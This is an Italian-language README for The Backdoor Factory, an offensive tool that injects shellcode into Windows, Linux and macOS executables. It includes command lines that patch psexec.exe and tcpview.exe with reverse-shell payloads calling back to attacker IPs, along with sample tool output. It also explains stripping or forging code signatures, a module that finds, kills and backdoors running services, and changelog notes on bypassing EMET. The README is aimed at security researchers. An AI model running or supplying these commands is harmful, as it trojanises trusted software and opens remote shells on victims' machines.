secretsquirrel

ATTENZIONE: Le Pull Request VERRANNO IGNORATE E CHIUSE.

The Backdoor Factory (BDF)

Solo per professionisti della sicurezza e ricercatori.

L'obiettivo di BDF è patchare eseguibili binari con lo shellcode desiderato dall'utente e continuare la normale esecuzione dello stato pre-patchato.

Black Hat USA 2015:

Video: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

Video: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

Video: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Demo del modulo di injection: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Contatta lo sviluppatore su:

IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

Sotto licenza BSD 3 Clause

Vedi la wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki

Installazione

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

ALLA VECCA MANIERA

####Dipendenze #####Per usare OnionDuke devi essere su una macchina Intel perché aPLib non supporta ancora il chipset ARM.

Capstone engine può essere installato da PyPi con:

sudo pip install capstone

Pefile, versione più recente:

https://code.google.com/p/pefile/

osslsigncode (incluso nel repository):

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Installazione su Kali:

  apt-get update
  apt-get install backdoor-factory

ALTRA INSTALLAZIONE *NIX/MAC:

./install.sh

Questo installerà Capstone con pip 3.01 per installare pefile.

AGGIORNAMENTO:

./update.sh

Supporto:

Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
e Mach-O x86/x64 e questi formati nei file FAT

File compressi: PE UPX x86/x64

Sperimentale: OpenBSD x32

Alcuni eseguibili hanno protezioni integrate, quindi questo non funzionerà su tutti i binari. È consigliabile testare i binari target prima di distribuirli ai clienti o usarli in esercitazioni. Sono sul punto di bypassare NSIS, quindi il bypass di questi controlli sarà incluso in futuro.

Molte grazie a Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Senza di lui, starei ancora cercando di fare cose stupide
con il formato ELF.
Grazie anche a Silvio Cesare con il suo paper del 1998 
(http://vxheaven.org/lib/vsc01.html) su cui queste tecniche
di patching ELF si basano.

Testato di recente su molti binari.

./backdoor.py -h Usage: backdoor.py [options]

##Caratteristiche:

###File PE

Può trovare tutti i code cave in un EXE/DLL.
Per impostazione predefinita, azzera il puntatore alla tabella dei certificati PE, rimuovendo così la firma da un binario.
Può iniettare shellcode nei code cave o in una nuova sezione.
Può determinare se un binario PE deve essere eseguito con privilegi elevati.
Quando si selezionano i code cave, è possibile usare i seguenti comandi:
  -Jump (j), per il salto tra code cave
  -Single (s), per patchare tutto lo shellcode in un unico cave
  -Append (a), per creare un code cave
  -Ignore (i o q), lascia perdere, ignora questo binario
Può ignorare le DLL
Patching della Import Table
AutoPatching (-m automatic)
Onionduke (-m onionduke)

###File ELF

Estende di 1000 byte (in byte) il TEXT SEGMENT e inietta lo shellcode in quella sezione di codice.

###File Mach-O Patching della sezione Pre-Text e rimozione della firma

###In generale

L'utente può:
  -Fornire shellcode personalizzati.
  -Patchare una directory di eseguibili/dll.
  -Selezionare solo binari x32 o x64 da patchare.
  -Includere BDF in altri progetti Python, vedi pebin.py e elfbin.py

Esempi di utilizzo:

###Patchare un exe/dll usando un code cave esistente:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Patchare un exe/dll aggiungendo una sezione di codice:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Patchare una directory di eseguibili: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output troppo lungo per il README...

###Shellcode fornito dall'utente: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin Questo farà apparire calc.exe su una workstation Windows target. Troppo 1337. Molto pwn. Wow.

###Firma del codice PE

BDF può firmare i file PE se hai un certificato di firma del codice. Usa osslsigncode. Metti il certificato di firma e la chiave privata nella directory certi/. Prepara i tuoi certificati usando i comandi openssl di questo post del blog: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Metti la password della tua chiave privata in un file (sì, lo so) in questo modo (esattamente così):

echo -n yourpassword > certs/passFile.txt

Nomina i tuoi certificati ESATTAMENTE come segue:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

La tua directory certi/ dovrebbe apparire esattamente così:

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Abilita la firma del codice PE con il flag -C in questo modo:

 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

In caso di esecuzione riuscita dovresti vedere questa riga nell'output di BDF:

[*] Code Signing Succeeded

###Caccia e backdoor: Injector | Solo Windows Il modulo injector cercherà eseguibili target da backdoorare su disco. Controllerà se hai identificato il target come servizio, se il processo è in esecuzione, terminerà il processo e/o il servizio, inietterà l'eseguibile con lo shellcode, salverà il file originale come file.exe.old o con un altro suffisso a scelta, e tenterà di riavviare il processo o il servizio.
Modifica il dizionario Python "list_of_targets" nel modulo 'injector' per i target che preferisci.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

###Changelog

####01/11/2016

Corretto il bug di troncamento dell'entry point che in rari casi portava a un recupero non corretto

####07/04/2016

Supporto per percorsi dinamici in BDFProxy per il preprocessore

####06/19/2016

Aggiunto il preprocessore e altre ottimizzazioni
Il preprocessore consente all'utente di modificare il binario prima dell'iniezione del payload
Si invoca con il flag -p
Vedi gli esempi in ./preprocessor/

####12/20/2015

Aggiunti i percorsi di directory a BDF per trovare la directory dei certificati.

####12/18/2015

Aggiunto il supporto per la firma del codice PE. Devi fornire il tuo certificato di firma del codice. Vedi qui: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

Corretto un bug nella sezione rsrc per il patching di OnionDuke e rimossa una variabile win32 casuale nell'header PE

####11/13/2015

Aggiunto il corretto troncamento di un file PE dopo che il puntatore alla firma viene azzerato nell'header PE - ad esempio, corretta rimozione della firma. Risultato: supporto migliore per il patching IAT

####10/19/2015

Corretto un bug nell'assegnazione del cave nella directory IAT che causava il crash di BDF
Resa la funzionalità opzionale con il flag -A

####10/13/2015

Modificate le modifiche alla Import Table Directory: da aggiunta di una nuova sezione a utilizzo di un code cave esistente

####08/12/2015

Aggiunto il PATCH_METHOD 'replace' - una copia incolla diretta del binario fornito
Più che altro per l'uso con BDFProxy

Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

Correzione di stabilità per la selezione automatica dei cave nei rari casi di cave sovrapposti

####08/05/2015

AGGIORNAMENTI BH USA, w00t!
OnionDuke, usa -m onionduke * Supporta exe e dll forniti dall'utente * Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
MODALITÀ XP = I payload basati su IAT precedenti non supportavano XP, Wine o Windows 98. Se devi supportare XP usa il flag -X. Non supporto nulla di precedente a XP (e nemmeno XP x64).
Invoca il prompt UAC per eseguire come amministratore. sperimentale - patchare il manifest PE se requestedExecutionLevel esiste.
Aggiornamenti di stabilità: * Corretto un bug con il calcolo errato dell'RVA saltando attraverso 2+ code cave * Controlli migliori per determinare se una nuova sezione per l'IAT verrà scritta in dati aggiunti e quindi fallirà
Miglioramenti di velocità: * Trovare i code cave più velocemente usando la modalità automatic (-m automatic) * Parsing rsrc più veloce per trovare il file manifest

####5/01/2015

Corretto un bug nel payload reverse_tcp_stager_threaded quando si usano cave singoli

####4/28/2015

Aggiunto il controllo per gli Import associati (i file PE con import associati non verranno patchati)

####4/14/2015

Tanti aggiornamenti:

Patching automatico per i file PE (usa -m automatic con un payload *_threaded)
Nuovi payload IAT per file PE x86/x64
Basta guardare: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 Vi voglio bene ragazzi

Aggiunto il patching dell'Import Address Table per i PE per supportare i payload iat_reverse_tcp che usano la tabella degli import per le chiamate alle API di Windows. Se il binario che stai patchando non ha LoadLibraryA e GetProcAddress, ad esempio, BDF le aggiungerà in una nuova Import Table in una nuova sezione. Supporta PE x64/x86.
Aggiunto iat_reverse_tcp per i PE x64.
Correzioni di bug e miglioramenti

####1/1/2015

Buon anno!

Due nuovi payload OS X! Il delay: delay_reverse_shell_tcp

-B 30 --> ritarda il payload di 30 secondi, il codice principale viene eseguito subito.

Impostazione di un commit fisso di Capstone per la compilazione in BDF, il repository Capstone 'Next' rompe BDF.

Correzioni per supportare il problema di troncamento del byte null nell'implementazione Cython di capstone

####12/27/2014

Aggiunto payloadtests.py

Questo script genererà file patchati nella directory backdoored che consentiranno all'utente di testare i payload come desidera. Ogni tipo di payload incrementa di uno la porta utilizzata.

Usage: payloadtest.py binary HOST PORT

####12/17/2014

Payload OS X Beaconing per x86 e x64: beaconing_reverse_shell_tcp

-B 15 --> imposta il tempo di beacon a 15 secondi

Correzione di un bug per supportare OS X in BDFProxy

####10/11/2014

Aggiunto il patching di PE UPX

####9/26/2014

Aggiunti Mach-O x86/x64

Ottimizzazione del payload IAT x86

####7/31/2014

Aggiunto il supporto per il patching di ELF ARM x32 LE

####7/22/2014

Aggiunto il supporto per il patching di ELF FreeBSD x32

Passaggio alla licenza BSD 3 Clause

####7/13/2014

Integrato Capstone: http://www.capstone-engine.org/

Durante il processo di integrazione di Capstone, ho rimosso circa 500 righe di codice. È piuttosto fantastico.

Rinominato loadliba_reverse_tcp in iat_reverse_tcp.

Piccole ottimizzazioni per la velocità.

####5/30/2014

Aggiunto un nuovo shellcode win86: loadliba_reverse_tcp

Basato sulla seguente ricerca di Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Grazie @bannedit0 per averlo segnalato.
Questo shellcode usa le API LoadLibraryA e GetProcAddress per trovare tutte le API necessarie per una connessione TCP inversa. Niente più lookup di hash delle API di Stephen Fewer (che resta comunque brillante).
Non è stealth. Dipende dalla posizione. Ma i risultati sono ottimi (salto tra code cave): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
Bypassa EMET 4.1. La protezione del chiamante non lo intercetta.
Pertanto, approfondirò questa idea con un algoritmo che patchare il binario con shellcode personalizzati basati sulle API presenti nell'IAT. Incluso il porting degli attuali shellcode win86 a questa idea.

Più Popolari

the-backdoor-factory